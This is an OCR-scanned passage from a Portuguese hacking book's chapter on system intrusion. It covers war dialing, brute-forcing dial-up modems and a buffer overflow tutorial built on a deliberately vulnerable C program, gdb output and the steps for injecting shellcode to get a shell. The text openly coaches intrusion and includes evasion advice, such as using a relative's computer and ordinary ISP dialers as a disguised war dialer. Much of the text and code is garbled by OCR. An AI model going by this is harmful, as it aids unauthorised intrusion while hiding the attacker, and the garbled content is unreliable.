sistema,pode ser processado se entrar.Se não é bem vindo em um shopping center, também pode! Houve pelo menos um caso, divulgado pela im- prensa, de um cidadão americano processado por invasão de propriedade por estar na área pública de um shopping. Explico: ele estava com uma camiseta pacifista (a frase exata era "Give peace a chance", de JoOO Lennon) e a segurança do shopping solicitou que ele retirasse a camiseta ou deixasse o prédio. Como recusou-se a ambas as coisas, foi preso e processado. Home of the free... Cuidado, portanto, quando invadir sistemas geograficamente instalados lá ou pertencentes a empresas daquele país. Você será processado pelas leis de lá, e é provável que seja extraditado. Hackerismo = Terrorismo = Prisão Perpétua... Já deu pra notar, né? A invasãoem etapas Assim como dividimos nosso ataque em seis passos diferentes, o passo qua- tro - invasão - pode ser dividido em duas etapas. A primeira etapa é o acessoa um host da rede. Como vimos nos capítulos de redes, as redes internas das empresas normalmente não utilizam números IP roteáveis pela Internet. Portanto, temos que invadir primeiramente um computa- dor limítrofe que possua duas interfaces de rede e, portanto, atenda a ambas. Normalmente é o próprio ftrewall, ou um proxy, mas é possível que falhas de configuração ou mesmo descuido possam escancarar outros sistemas. Paraa primeira etapa,um número limitado de técnicas pode se empregado.Entre eles, a procura por modems aceitando conexões externas(war dialing) e a explora- ção de falhasespecíficasatravésde exploits. Observe que nenhum sistemaem espe- cial é visado. Os crackers podem apontar suasmiras tanto em servidores como em estaçõesde trabalho e mesmo em componentes de rack como roteadores e afins! 12481 Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano A segundaetapaé maistrabalhosaquedifícil.Umavezconseguidoo acessoàrede interna,passa-seà invasãosistemáticados computadoresdentro da rede. Essa etapapressupõequebradesenhase acessoa áreasrestritasmesmoparaquemestá dentro.Dizemosqueé trabalhosaporque,umavezdentro,cadaum dos sistemas autônomosdisponíveisparaos usuáriosinternosrequertodaaquelametodologia quevimos:Planejamento,Observação,Busca,Invasão,Manutençãoe Evasão.E não esqueça:váriosmicroataques1-2-1-3-1-4-1-5-1-6-1...Semprecorrijae ajusteseupla- nos!As coisasmudam,os dadosmudam,o administradormudae vocêsempretem informaçõesnovas.Sequersucesso,organize-se! E,sevocêforumlammer,nãotemo quefazerporaqui,jáquevocênãoquersaberde aprendernada.Vábrincarcomosexploitspublicadose deixeosprofissionaistrabalharem! War Dialing +Brute Force Redesbemconfiguradaspermitemacessoaelasapenasporpontosbemespe- cíficose controladíssimos,normalmenteumaúnicaconexãocom a Internet. Empresasmuitograndespossuemvárioslinks,mastodoselessão(oudeveriam ser)controladose monitoradoscomrigor.Entretanto,algunsfuncionários"es- pertos"tentamdriblara lentidãoou oscontrolesdeacessoa sitesnão-autoriza- doscomconexõesdiscadasouADSLligadosdiretamentea suasestações.Esses funcionáriosnãotêmnoçãodo perigorealrepresentadopor essaprática:tais conexõessãototalmentedesprotegidas,eumavezcomacessoaessasconexões, o hackerjáestádentrodarede,e podequeimardiversasetapasdesuainvasão. Emoutrasocasiões,a própriaempresaprecisaproporcionaracessodiscado a seusfuncionáriosviajantes,ou aosquetrabalhamemcasa.Paratanto,possu- emumabateriademodemse dezenasdenúmerosdetelefonedisponíveispara receberchamadase conexões.Umpratocheioparahackers! Sim,sim,nãoiadeixardecomentarqueo termoWarDialingfoi cunhadono filmeWarGamesde 1983emqueMatthewBroderickdiscavaparatodosos númerosqueeleconseguiaatrásde modemslivres.Masissoprovavelmente vocêjásabe.Senão,váatésualocadoraepeçao filmeJogos deGuerra.Senão é umfilmeexcelente,pelomenosasreferênciastecnológicasestãocorretas- dentro,é claro,doslimitesdaprecisãohollywoodiana.Maisinformaçõespo- dem ser encontradasem orbita.starmedia.com/-necrose/Sci-Fi/Filmesl wargames.htm,www.movieprop.com/tvandmovie/reviews/wargames.htme jbonline. terra. com. br Ijb/papel/cadernos/internet/200 11081151 jorinf20010815003.html. Conheçasuas armas Wardialingé guerra.Sevocêé umsoldado,vaiàguerrae nãolevasuaespa- da,estáfrito!As ferramentasusadaspeloswar dialerssãochamadas,normal- mentede...war dialers.Umabuscano Googletrariadiversossitescomessas 12491 IAtaque, defesa e contra-ataque: Invasão
  • I Universidade H4CK3R I ferramentas,amaioriagratuitasemuitasdelascomcódigofonteabertoe livre. Mas,emumaexcepcionalcolherde chá,aí vai um link comalgumasdelas: neworder. box. sk/box. php::)?gfx=neworder&prj =neworder&key =wardil&txt=Wardia1ers. Recomendamosepecialmente,entreeles,oTHC Scan(www.thc.org).É afer- ramentan° 1deWarDialinghojeemdia.FoidesenvolvidaparaDOS,maspode serusadaemUnix comemuladores,comoo Dosemu. Sevocêquerdarumaolhadaemcomoascoisascomeçaram,procurepor DemonDia1ere pelo ToneLoc.Sãoferramentasparecidascom as que os Phreakersusavamnaépocado ftlmedeBroderick,incluindoo própriomock- up dacena. ParaUnix,alémdo excelenteTHC Scan+Dosemuháalgunsnativoscomoo WARD, cuja descrição está no endereço www.securiteam.com/tools/ 6TOOOIP5QM.htmle podeserbaixadoe www.Oxdeadbeef.info/code/ward.c; ou pérolas como o Jericho e o ShockDial, ambos encontráveis em www.securityfocus.com/tools/category/26. Hátambémmuitoswardialerscomerciais,destinadosapermitirqueempresas testemsuasinstalaçõesàprocurademodemsperdidos.Umadasmaiscompletasé o PhoneSweep(www.sandstorm.net).Alémdaexcelênciadosoftware,aempresa prometeconsultoriae suportepor assinatura(compagamentomensal). $ $ _1005 ~1006 1'1.11* 2001-07-2003:25 2001-07-2019:51 2001-07-2020 52 2001-07-2021:40 2001-07-2022:26 1'1.11* 2001-07-1822:13 2001-07-1822:15 1'1.11* 2001-07-1823:42 1'1.11* 1'1"" 2001-07-1901:42 1'1.11* 1'1.11* 2001-07-1922:08 1'1.11* 1'1.11* n 1'1 EI $ ~1001 ~} ~1002 1iilà1003 ~1004 $ $ [tI- [tI- 250 I Ataque,defesae contra-ataque: Invasão 8USY Unknown 8USY Unknown 8USY Unknown BUSY Unknown BUSY Unknown NOJACSIMILEUnknown CARRIER Unknown VOICE Unknown TIMEOUT Unknown VOICE Unknown
  • Universidade3°ano Umalistadeequipamentosreconhecidamentevulneráveise detectáveispelo Phone Sweeppodemser encontradosem www.sandstorm.net/products/ phonesweep//sysids.shtml. Outra opção é o TeleSweep, da Securelogic. Mais informações em telesweepsecure.securelogix.com. Nossarecomendação:baixe,instaleebrinquecom,pelomenos,asferramen- tasgratuitaslistadasaqui.Vocêvaidescobrirque,nestaépocadeADSLe Cable Modem,aindaexistemMUITOSmodemsdiscadosrecebendochamadaspor aí, especialmenteemempresas. Outradica:vocêpodeusaros discadoresdosprovedoresde acessocomo WarDialersimprovisados!!!A maioriadelespossuemumarquivoexternocom a listadenúmerosdetelefonedeconexão.Bastasubstituiressalistapor uma especialmentecriada,e vocêteráum war dialerinstantâneo,inclusivecom rediscagemautomáticae varredurade todosos númerosda lista.Baixeos discadoresdetodososprovedoresquevocêselembrareverifique.Estadicaé muitoútil quandoseestáusandoumcomputadorlaranjacomodiscadore não sequerlevantarsuspeitascomprogramasespecializados.UmTHC Scanlevan- tariasuspeitasno computadordo seutio,maso discadordo iG (ou doTerra, do iBest,do UOL ou daAOL...)passariadespercebido,aindamaisseo seutio for assinantedeum dessesprovedores. Ah,a forçabrutaé tãolinda... Certo,vocêdescobriunúmerosdetelefonequepossuemmodemsatendendo a chamadosexternos.Mase agora,o quêfazercomeles?Entraagoraemcena outrotipodewardialerque,aoinvésdevarrernúmerosatrásdemodems,faz inúmerastentativasdeloginemummesmonúmero. Seemoutrostiposdecontroledeacessopor logine senhaépossívelencon- traroutrosmeiosdeentradaalémdobrute-force,commodemsa coisaé dife- rente.Vocênãotemqualqueroutrainformaçãoalémdo promptdo sistema pedindoumusuárioválido.Suaúnicasaídaé usarumprogramadeforçabruta paratentarentrar.Logicamente,usarsuaslistasde palavras(quevimosnos capítulossobrevulnerabilidades)e sabero nomedealgumusuárioajudamui- to aqui.Atençãolammers!UsarSQLinjectionemmodemsé ademonstraçãode burricemaisenfadonhaquevocêpoderiacometer.Não quefaçaalgummal, masmostraclaramentequevocênãoentendenadadenada,mesmo...Vábrin- cardecarrinhooudeboneca! Sevocêusouo THC Scan,um bom companheiroparaele é o THC Login Hacker.Baixe-oe vejacomoé fácil entrar,quandose encontraum modem "compreensivo".No siteoficialhádiversosprogramas,exploitse brute-forcers paramuitosprotocolos,incluindo 5MB,HTTP, FTP e Proxy.Verifique em www.thc.org/releases.php. A propósito,THC é acrônimoparaThe HackersChoice...Apesardaarrogân- 1251I IAtaque, defesa e contra-ataque: Invasão
  • I Universidade H4CK3R I ciae presunçãodo títuloauto-outorgado,asferramentassãorealmentemuito boas.No siteaindaencontramosdiversoswhitepaperssobreinvasãoe segu- rançadignosde leitura. Entendendoo estourodepilha (buffer overflowJ Váriosexploitsvalem-sedoschamadosbufferoverflowsparaconseguirum shellnossistemasvulneráveisa eles.Os scriptkiddiesaplicampesadamente taisexploitsemsuaspresassemsaberexatamenteo quesãoe comofuncio- nam.Comoqueremostermaisdo quenoções,naverdade,umentendimento completodecomoessasferramentasoperam,teremosqueescovarumpouco maisdebits,dessavezolhandoatentamenteo códigodosaplicativos.Nãoé precisodizerqueseránecessáriodesenferrujarseusconhecimentosdelingua- gensdeprogramação,masnadade outroplaneta. Comoo nomeé estourodepilha,obviamenteháumapilhaa serestourada (dããã!).Paraentendercomo o estourofunciona,devemos,primeiramente, conceituaro queseriaessataldepilha. Umamontoadode coisas... A palavraportuguesapilhanostrazà cabeçaduasimagens: 1.Umapilhadepedras,depratos,demoedas,decorposnofilmedoStallone... 2. Umacéluladeenergiaelétricausadaemlanternasportáteise brinquedos. Peguemosaprimeiraimagem.Umapilhademoedas,por exemplo,daquelas queoTio Patinhastememcimadesuaescrivaninhanacaixa-forte.O adorável pão-durode Patópolisarrumadiligentementesuasmoedinhas,umasobrea outra.Comisso,quandovaiguardá-Iasnacaixa-forteo bomávaroretiracuida- dosamentea primeiramoedae a põeno sacodedinheiro,depoisa segunda, depoisa terceira...Observeumdetalhe:a primeiramoedaa serretiradafoi a ultimaa sercolocada. No exemplodapilha de pedras,FredFlintstoneusandoseutratorossauro recolhepedrasretiradasda encostae asempilhano local indicadopelo Sr. PedregulhoSlate,seuchefe.Note que,nessecaso,aspedrasqueFredpega primeirosãoasquevãoficarporbaixodapilha.Mastalvezo melhorexemplo (emaisútil)sejamesmoo dapilhadepratos.Podemosinclusiveusarumexem- plo depilhasrecursivas.Quandoospratosestãosujosnamesae alouçadodia ésua(...),vocêrecolhe-oseosempilhanasmãosouemumabandeja.Observe: o últimopratoquevocêpegouficano topodapilha.Quandochegaàcozinha, fazo caminhoinverso.Comonãodápracolocarapilhatodadeumavez,você pegapratopor pratoe osempilhanovamente,destaveznapia.À medidaque os vai lavando,vocêos empilhapelaterceiravez (agorajá limpos)do outro 1252 I Ataque,defesae contra-ataque: Invasão r
  • Universidade3°ano ladodacuba,e novamenteo queeraúltimoficouprimeiro.Paraguardá-Iosno armário...é,achoquevocêjáentendeu. E aspilhasde lanterna?Elasnãotêmmuitohavercomo papoagora.Sópor curiosidade,o nome"pilha"é dadoaesseelementogeradordeenergiaporqueas primeirascélulasquimio-elétricaseram,er,bem,diversosdiscosdemetaisdife- rentes(parecidoscommoedas,àsvezesmoedasmesmo!)alternadosentresi e mergulhadosemumasoluçãoácidaou salgada.Pensandobem,atétemhaver... As piLhasno reino digitaL E o quetêmos computadorescomisso?Pegandoemprestadoa noçãode pilhas,os programasemgeral(e os sistemasoperacionaisemparticular)po- dempegarfragmentosdedadose osguardaremáreasdememóriachamadas pilhasou stacks.É umamaneirafácildearmazenarpequenosdados,poisnum acesssoconvencionaldememóriao programaé obrigadoa: 1. Defmira posiçãodememóriaondeo dadoseráguardado; 2. Defmiro tamanhoembytesqueo dadoterá; 3. Reservaressetamanhoembytesnaposiçãodefmida; 4. Mandaro dadoparaessaposição; 5. Bloqueara posiçãoparaquenãosejasobreescrita. Pararecuperaro dado,o programateráque: 1. Lembraraposiçãodememóriaondeo dadoestá; 2. Apontarparaaquelaposição; 3. Lembraro tamanhodosdadosembytes; 4. Puxaressesbytesdaquelaposiçãodememória; 5. Liberara posiçãoparausofuturo. No casodapilha,nãohánecessidadedenadadisso.O programapodesim- plesmente: 1. Mandardadosparaa pilha(push). Na horaderecuperá-Ios,basta: 1. Puxardadosdapilha(pop). É claro,comoé umacessoseqüenciale nãoaleatório,casoqueiramosusaro segundodadodapilhaantesteremosque retiraro primeirodado.Isso traz dificuldadesadicionaisparao programa,quetemque"darumjeito"degerenciar os dadosdapilhacorretamente.Masháaplicaçõesondeessaabordagemé a melhor.Por exemplo,imaginequequeiramosfazerumprograminhaquefaça umasomade trêsvalores.A formamaissimplesdesseprogramaseria: 1. Chamafunçãosoma(a,b); 1253I ]Ataque,defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI 2. 3. 4. 5. 6. 7. 8. Obtémprimeironúmeroe o entregaà funçãosoma; Obtémo segundonúmeroe o entregaàfunçãosoma; Colocao resultadonapilha; Chamafunçãosoma(a,b); Obtémterceironúmeroe o entregaàfunçãosoma; "Puxa"o topodapilhae entregaàfunçãosoma; Soma(a,b)faza operaçãoe jogao resultadona saída. Observequeo resultadodaprimeirasomaficouarmazenadonapilha,espe- randoserchamadodevoltaaofluxo normaldoprograma.Umasoluçãocomo essaenvolvendoposiçõesdememóriademandariafunçõesparareservarme- móriaparatrêsvariáveis,envioe recuperaçãotriplicadade dadose possivel- menteumafunçãosomamaiscomplexa. Esseexemplofoi didático,maslongedo ideal.Vamosver umpequenopro- gramaemC. Deverodardeformaidênticaemqualquerplataforma,poisnão usabibliotecasespecíficas. void funcao_idiota (void) char xuxu[5]; gets (xuxu); printf(ll%s\nll, xuxu ); main() funcao_idiota() ; return o; Não sepreocupe,você nãoprecisaráter visto um programaC algumavez na vida para entendereste aqui.Veja só: qualquer linguagemestruturadaque se prezepermitequevocê crie, com os comandosbásicosqueelapossui,funções mais complexaspara seremusadaspelo programaprincipal. Em nosso exem- plo (e em qualquercódigo C), o programaprincipal é "marcado"pela função main( ). Dentro das chaves{e }temoso programacompleto, composto por duas outrasfunções: main() funcao_idiota() ; return o; 12541 Ataque,defesaecontra-ataque:Invasãor
  • Universidade3°ano funcao_idiota() chamauma função criada por nós mesmos,e declaradano início do programa.Já a próxima linha, return O, indica que o programadeve encerrarnessalinha e retornarpara o shell que a chamou. Temosquededararfuncao_idiota()antesdelapoder serusada.Então,vamosaela! void funcao_idiota (void) { char xuxu[5]; gets (xuxu); printf(H%s\nH, xuxu ); A função é, a grossomodo, uma sub-rotinaque pode ser usadaváriasvezes dentro do programa.Em nosso main( ) a usamosapenasuma vez, mas seria possível,sequiséssemos,usá-Iaem diversoslocaisdo código. O que essaidioti- ce faz é: 1) criar umavariávelchamadaxuxu com um tamanhode 5 bytes;2) usar a função gets() da linguagemC para pegar caracteresdo tecladoe jogá- los na variávelxuxu; 3) usar a função printf( ) para jogar o resultadona tela. Sevocê estáem umamáquinaUnix, pode compilar o programinhae testá-lo. Na maioriados sitemas,use o comando: $ cc -o idiota idiota. c Sendoidiota.c o arquivotextocontendoo códigodo programae idiotao arquivoexecutávelgeradopelocompiladorcc. No Linuxe no FreeBSDuseo gccemvezdocc. Pararodaro programa,digite: $ ./idiota Aparentemente,nadaacontecerá.Tentedigitarumcaracterequalquere pres- sionara tecla.O caracterseráreplicadona tela.É só issoo que o programinhafaz. EmumamáquinaDOSouWindows,o procedimentoé parecido.Procurepor algumcompiladordelinhadecomando.Senãosouberondeprocurar,comece comalgunsdestes.ExperimenteTODOSe escolhaseupreferido! ParaDOSpodemosindicar: ~ DJGPp,o GCC do DOS:www.delorie.com/djgpp: ~ O venerávelBorlandTurboC 2.01(Autorizado!Não é pirataria!): community.borland.com/museum; ~ PacificC:www.elrincondelc.com/compila/pacific.html; ParaWindows, existem,entre muitas,as seguintesopções: ~ iCC Win32: www.cs.virginia.edu/-lcc-win32/index.html; ~ DevCPP:www.bloodshed.net/devcpp.html(a escolha dos autores!); Aliás, em www.bloodshed.net existemlinks para compiladores de diversas linguagens!Confira! 1255 I I Ataque,defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI Voltemosao nossoprograma.Quandoo main() chamafuncao_idiota(), o processamentodo programaprincipalé interrompidoe desviadoparaa fun- ção.Quandoa funçãoterminaseuprocessamento,retomaà rotinaprincipal. Observeo códigonovamente,destavezcomo fluxodeprocessamentoindica- do por setas: void funcao_idiota (void) char xuxu[5]; gets (xuxu); Retomaao programa principal printf(il%s\nil, xuxu ); return; Desvio do processamento main( )~ { Inicio aqui funcao_idiota() ; return o; ..Fim! Bonito, não?Em princípio, fun- ciona. Mas, para interromper o processamento de main( ), é neceesário colocar tudo o que main( ) estejafazendoem algum lugar, desviar o processamento para funcao_idiota( ), processar o que estiverlá e depois retorar amain().A1émdedevolverospos- síveis valores da função chama- da(o quenãoé nossocaso- para simplificar não passamos argu- mentos entre as funções), tam- bém precisamoster um meio de saber ONDE na memória estava o processamentode main() para que retomemoso processo. Complicado? Também achei. Uma ilustraçãoajudabastante! 12561 Ataque,defesae contra-ataque:Invasão [ TOpO da Memória t Dados anteriores da pilha Dados de main () Ponteiro de Retorno Ponteiro da Pilha Dados da função idiota() (ou seja, a variável xuxu)
  • Universidade3°ano Nooofaaaa(ComF mesmo.Linguapresa...)! Masnãoeraumapilha?Porque estáde cabeçaparabaixo?Bem,normalmenteaspilhassãoarmazenadasde cimaparabaixo,sendoo dadomaisantigonaposiçãomaisaltadememóriae apilhacrescendoemdireçãoàposiçãomaisbaixa.Pensenelacomoumapilha demoedasfeitano tetoemdireçãoao chão.Talvezvocêtenhaqueusarcola paraprenderasmoedas,masaindaassimé umapilha. Comodissemos,osdadosdemain() sãojogadosnapilha.Notequeelanão precisaestarnecessariamentevazia,podendoconter,por exemplo,dadosdo shelloudajanelaondeo programafoi chamado.Depoisdomain(), tambémé guardadono stackumponteiro,chamadodeponteirodeendereçoderetorno oureturnaddresspointer.É elequeindicaaoprocessamentoondeencontrara próximainstruçãodepoisdodesvio(ondeé queeuestavamesmo?).Emnosso casoespecífico,o returnpointerguardao endereçodememóriaonderesidea instruçãoreturnO. Depoisdoponteiroderetorno,o sistemacolocaumponteirodepilha,que apontaparaumatabelacom dadosde controlesobrea própriapilha - que obviamenteo leitorcompreendesernecessária.Por último,vãoosdadostem- poráriosdenossafunçãosecundária,chamadapor main(). Emnossocaso,é a variávelxuxu,criadapelanossafunçãofuncao_idiota(). Quandoa funçãosecundáriaterminaseuprocessamento,os dadosdelasão retiradosdapilha,depoiso ponteirodecontroledapilha,depoiso ponteirodo endereçoderetorno.Quandoo processamentoé retomadonaposiçãooriginal, osdadosdemainsãopuxadosdapilhae tudovoltaasercomoeraantes.Será? Debug is on thetable2 Lembremos de dois detalhesvistos nos parágrafosanteriores. O segundo tenho certezaque foi assimiladopelo leitor apenascomo curiosidade,o pri- meiro deve ter passadodespercebido: 1. A variávelxuxu foi declaradacomo contendo apenascinco bytes; 2. A pilha armazenadadosde baixo para cima. Lá atrásnós testamosnosso programinhaassim: $ ./idiota a a $ Quandoo processamentochegouna funçãogets(), digitamosa letra"a".A funçãogets() colocou"a"dentrodavariávelxuxu,quefoi impressana linha seguintepeloprintf( ). Lembre-sede quexuxu temum tamanhode apenas cincobytes.O queacontecesepassarmosdecinco? 2.Aula de inglêsgeek?Essafraserealmentefoi dita,duranteumaconversaentreeu e o diretorde informáticade umaempresadeaviação.Umestagiárioouviuapalavradebugno meiodaconversae saiu- secomesta.Atéhoje eue essediretorde informáticausamosa expressãocomopiadalocal. 12571 ]Ataque.defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI Bem, tentamoscom cinco letras"A:',a saídafoi AAAAA. Com seis,AAAAAA. Com sete,AAAAAAA. Com oito, aconteceualgo interessante: $ ./idiota AAAAAAAA AAAAAAAA Falha de segmentação (core dumped) $ Falha de segmentação!O programa falhou e gerou um relatório de erros com o conteúdodamemória,gravadono arquivocore. O que seráque aconte- ceu?Lembremosagorada pilha. O espaçoparanossavariávelxuxu (que pode- mos chamar de buffer) era de 5 bytes - nós mesmos definimos isso (char xuxa[5]). Cada caracterocupa 1 byte,portanto 5 caracteresenche o buffer. Mas o sistemanão possui nenhum mecanismode checagem,ou melhor,a lin- guagemC não possui.Portanto,se colocarmosmaisde 6 caracteresno buffer, haveráestouro.Os dadosa maisserãoescritospor cima de algumaoutra coisa (normalmentealgo muito importante...). Agora,o segundodetalhe.A pilha armazenade baixo para cima.Portanto,se você olhar a representaçãográfica que fizemos dela, vai notar que o sexto caractervai ser escrito sobre o Ponteiro da Pilha! O ponteirode pilhapossuiváriosbytes(é de tamanhovariável)e o deretomo, 4 bytes3. É por issoque,quandoescrevemos6 ou 7 caracteres,nadaacontece- estamossobrescrevendoo ponteiro da pilha, em algumaregião que não nos afetaimediatamente.A partir do oitavocaracteretemosum problemaimediato: estamossobrescrevendoalgumaáreaimportantedo ponteiro de pilha. Se avançarmosmais um pouco, lá pelo décimo-quarto ou décimo-quinto caractercertamentechegaremosao ponteiro de retorno!!!!!Agora o primeiro byte do endereço de retomo não serámais o endereço original, será o valor hexa do caracterque digitamos!Se for A, por exemplo (aveAleph1!) o valor hexadecimal será 41h. Vamos depurar nosso programa usando o gdb, um depuradorGNU - paraDOS,procure umaferramentaadequada(como o debug) ou use umadasmáquinaLinux da nossarede de testes.Primeiro, vamosrodar nosso programae gerarum core dump com muitos "A"s: $ ./idiota Falha de segmentação (core dumped) $ Agora, vamos rodar o gdb e ver o que ele nos diz: $ gdb idiota core GNUgdb 5.1 3. Explicação técnica avançada: os ponteiros têm quatro bytes de comprimento, ou 32 bits, o que equivale a um valor decimal entre O e 4.294.967.295, ou seja, 4 GB. 2581 Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU ... (corta) (no debugging symbols found)... Core was generated by './idiota'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6... (no debugging symbols found) .. .done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2.. .done. Loaded symbols for /lib/ld-linux.so.2 #0 Ox41414141in ?? () (gdb) $ A linha importante,por enquanto,é #0 Ox41414141 in ?? (). Ela indica o endereçoderetomo.Observeque,emvezdoendereçocorreto,temosnosso caracterA (41h)repetidováriasvezes.Belamaneiradefazero programaabor- tar!Nossoprograminhaterminapor ali mesmo,masfaçamosumteste:entre aslinhasfuncao_idiota()e retumO;coloquea seguintelinhaprintf(): { funcao_idiota() ; printf(llNao atingiu Ponteiro de Retorno!\n\nll); return O; } Agoracompilee rodeo programa.Vocêveráque,até11caracteres,a mensa- gemfmalémostradaantesdocoredump.Com12caracteresoumais,amensa- gemé perdida:atingimoso ponteiroderetorno!Essevalor,claro,dependedo programa,dosdadosgravadosno stack,do tipo dedadosdonossobuffer,etc. Ganhandoacesso por estourode pilha Sóqueenfiarumbandode"A"sno buffernãoé muitoútil.E sepudéssemos executaralgumcódigodemáquina(sim,temquesercódigodemáquina,afmal o programaestácompilado...)?Poderíamosexecutarumapequenarotinacar- regadano própriobuffer,queé o únicolugara quetemosacesso.Desviaro processamentoparao buffernãorequerpráticanemhabilidade:já temoscon- trolesobreo ponteiroderetomo,bastacolocarneleo endereçodobufferem vezdamontoeirade"A"s. I259I I Ataque,defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI NotequeesteprocedimentoébemparecidocomainjeçãodeSQLquevimos nocapítuloVulnerabilidades11.Usamosumcampoacessívelexternamentepelo usuário- no casodo SQL,um campoemum formulário;aqui,umavariável solicitandodados- e injetamosneleos comandospertinentes. Falamosemcódigodemáquina,nãoé?Aquitemoso grandepulo-do-gatodos exploitsqueseaproveitamdo bufferoverflowde algumprogramamalescri- to. Nós queremosganharum shell no sistema,e isso dependedo sistema operacional.O programaqueofereceo shellnumSolarisnãoéo mesmodeum MacOSquenãoé o mesmonoWindows...Por outrolado,parachamaresse shelltemosquecolocarumcódigodemáquinanobuffer,o quequerdizerque temosquefazerumexploitparacadaduplaSO+Hardwareexistente.Umexploit paraLinux emAlpha nãoé o mesmoque um paraLinux em i386 (os PCs comuns).É o mesmosistemaoperacional,masnãoo mesmoprocessadot.Por outrolado,umPC rodandoWindows2000vaiprecisardeumexploitdiferen- tedoqueumSolarisrodandonomesffiÍssimoPc. É o mesmoprocessador,mas nãoo mesmoSO.Mesmoconsiderandoqueestamosusandoo mesmoprogra- mabugado(porexemplo,o interpretadordePerIdecadaumdosSOs)o exploit desseprogramavaiserdiferenteemcadacombinaçãoSO+HW Parafmsdidáticos,vamosnosaterao PC e ao Linux.Vamos"desassemblar" nossoprograminhacomo gdb: $ gdb idiota *** mensagens diversas *** (gdb)disass main Dumpof assembler code for function main: %ebp %esp,%ebp Observea linha Ox804846a: cal 1 260 I Ataque, defesa e contra-ataque: Invasão [ $Ox8,%esp Ox8048430 $Oxfffffff4,%esp $Ox8048520 Ox8048334 $OxlO,%esp %eax,%eax Ox8048483 OxO(%esi,l) ,%esi OxO(%edi,l) ,%edi Ox8048430 Ox8048464: push Ox8048465: mov Ox8048467: sub Ox804846a: cal 1 Ox804846f : add Ox8048472: push Ox8048477: cal 1 Ox804847c : add Ox804847f : xor Ox8048481: jmp Ox8048483: leave Ox8048484: ret Ox8048485: lea Ox8048489: lea End of assembler dump. (gdb)
  • Universidade3°ano Desenferrujandoumpouconossosconhecimentosdeassembler,lembramos que a funçãocall chamaumaoutrafunçãoqualquerresidenteno endereço especificado.Comoemlinguagemde máquinanãodápra atribuirnomesàs subrotinas,o sistematemquesaberexatamenteondenamemóriaelasestão. No começodalistagem,observequeafunçãomaininicianaposiçãodememó- ria Ox8048464e instruçãocall chamaumasubrotinaque se encontraem Ox8048430.Vamosdar agorauma olhadana função funcao_idiota( ): (gdb) disass funcao_idiota Durnpof assernbler code for function funcao_idiota: Ox8048430: push %ebp Ox8048431: rnov %esp,%ebp Ox8048433: sub $Ox18,%esp Ox8048436: add $Oxfffffff4,%esp Ox8048439: lea Oxfffffff8(%ebp) ,%eax Ox804843c : push %eax Ox804843d: call Ox8048304 Ox8048442: add $Oxl0,%esp Ox8048445: add $Oxfffffff8,%esp Ox8048448: lea Oxfffffff8(%ebp) ,%eax Ox804844b: push %eax Ox804844c : push $Ox8048500 Ox8048451: cal I Ox8048334 Ox8048456: add $Oxl0,%esp Ox8048459: jrnp Ox8048460 Ox804845b: nop Ox804845c : lea Ox8048460: leave Ox8048461: ret Ox8048462: rnov End of assernbler durnp. (gdb) OxO (%esi, 1) , %esi %esi,%esi Olha só! O call da funçãomain() chamaexatamentea funcao_idiotaO.Den- tro da função idiota,a linha Ox8048461: ret mostraa instruçãoassemblerderetomo(ret).Essainstruçãovaiusaro pon- teiroderetomoparavoltaraomain.Chegamosaocemedaquestãodosexploits por bufferoverflow.Trocandoemmiúdos,vocêprecisa: 1. Descobrirumavariáveldo tipo bufferqueestejavulnerável; 2. Verificar,no códigofonteou por tentativae erro,os endereçosondeas chamadasdefunçãoestão,bemcomoo endereçoquemarcao iníciodobuffer davariável; 3. Fabricarum exploit que insira códigos de máquinano buffer,contendo 1261I I Ataque,defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI instruçõesparanosdarumshell,e depois"estufe"apilhaatéatingiraposição do ponteiroderetorno,lá colocandoo endereçodo iníciodobuffer. Um exemplo,emUnix, seriaumarotinaque,atravésda funçãoexecve() chamasseum shell.execve() é umachamadade sistemaquesimplesmente permiteexecutarum arquivobinárioexternoao programa.Que beleza!De dentrodenossoexploit,executamosIbin/sh!!!O shellé executadonousuário doprogramavulnerável.Sefor,por exemplo,noApache,ganharemosumshell do usuárionobody.O quehackersmaisgostam,nessahora,sãoprogramas vulneráveisrodandocomSUID...Masissoé outrahistória(váláe pesquise!). No Windows,programasvulneráveisrodandocomprivilégioSystemsãoum perigo!Acessototalà máquina.Paraexplorarumbufferoverflow,geralmente faz-sechamadasa funçõesde DLLsacessíveispelaaplicaçãovulnerável.Dica paraestudodeexecuçãoarbitráriadecomandosnoWindows:WININET.DLLe o próprioMFC.DLL.Novamente,mexa-se... Não vamosnos aprofundarmais,pois não estáno escopodo livro entrar muitofundonasentranhasdenenhumassembler.Paracomeçar,umbelotexto parainiciantesembufferoverflows(mixter.void.ru/exploit.html).Parasaber mais,recomendoaleituradoswhitepapersdaFatal3rror(struck.8m.com/G), o excelentetexto de Dark Spyrit sobre buffer overflows no Windows (community.core-sdi.com/-julianolbufo.html)e o estudoque começoutudo isso:"Smashingthe stackfor fun andprofit",do lendárioAlephl, lançadona edição 49 da ezine Phrak em 1996 e disponível online no endereço www.insecure.org/stf/smashstack.txt. Outrowhite-paperdignode nota:comoexplorarserviçosavançadoscom estourosdepilha,indomuitoalémdeconseguirumshell.TaehoOhnosmostra empostech.edu/-ohhara(ou,alternativamente,emohhara.sarang.net/security/ adv.txt)comofurarfirewallsbaseadosemftltrosdepacotes,abrirsockets(e, portanto,backdoors)no próprioexploite libertar-sedaprisãodo chroot4. Sevocêquerrealmenteconhecerafundotodososmeandrosdosestourosde pilha(nosquais99%dosexploitsexistentessãobaseados),recomendo,nova- mente,pararaleituradolivroeestudarossitesindicados.Lembre-se,o Google é seuamigo...Desnecessáriodizerqueé pré-requisitoparaissosaberalguns fundamentosde C eAssembler.Apesarde algunsdizeremquenão,aslingua- gensPascal(e portantoo Delphy/Kylixtambém)e Basic(VisualBasic,Thrbo Basic,QuickBasic,...)emesmonovaslinguagenscomoC++,C#eJavatambém padecemdo mesmomal.As formasdeexploraros estourosnessaslinguagens sãodiferentes,masaindaassima vulnerabilidadeexiste. 4.Chrooté,simplificandoa definição,umamaneirade"enjaular"umaaplicaçãoqueprecisede direitos 